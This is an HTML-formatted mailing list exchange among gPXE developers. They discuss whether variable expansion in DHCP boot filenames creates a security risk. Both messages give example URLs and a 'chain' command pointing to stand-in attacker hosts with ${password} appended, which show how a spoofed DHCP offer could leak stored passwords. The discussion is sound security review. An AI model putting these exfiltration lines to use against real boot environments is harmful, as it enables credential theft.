But isn't that already possible? I.e. if a DHCPOFFER is maliciously sent to point to a script the attacker controls, that script could induce the same behavior? i.e. send a boot filename '<a href="http://malicious.example.com/evilscript">http://malicious.example.com/evilscript</a>' and that script has 'chain <a href="http://malicious.example.com/${password}">http://malicious.example.com/${password}</a>'? How does advancing the evaluation of variables change the exposure?<br>
<br><div class="gmail_quote">On Fri, May 21, 2010 at 2:18 AM, Stefan Hajnoczi <span dir="ltr"><<a href="mailto:stefanha@gmail.com">stefanha@gmail.com</a>></span> wrote:<br><blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex;">
On Thu, May 20, 2010 at 7:44 PM, Miller, Shao<br>
<div class="im"><<a href="mailto:Shao.Miller@yrdsb.edu.on.ca">Shao.Miller@yrdsb.edu.on.ca</a>> wrote:<br>
</div><div class="im">> On a related note, is it horribly objectionable or a bad idea for expand_command from exec.c to be called from boot_next_server_and_filename from autoboot.c? Failing that I'll contemplate an embedded script, but lack of conditionals is gPXE scripting could prove to be a touchy thing.<br>
<br>
</div>A side-effect of expanding variables in DHCP boot filenames is that it<br>
can be used to expose settings, e.g.:<br>
<br>
<a href="http://my-evil-server/${password}" target="_blank">http://my-evil-server/${password}</a><br>
<br>
This could be a security issue in some cases, since a fake DHCP<br>
response can be used to dump out passwords (perhaps stored on the<br>
network card using non-volatile settings). Other than that, I think<br>
it would be useful.<br>
<br>
Also, I just checked gPXE's URI parsing code to make sure there is no<br>
way of specifying a relative HTTP URL. That might have worked as an<br>
alternative, but it is not possible.<br>
<font color="#888888"><br>
Stefan<br>
</font></blockquote></div><br>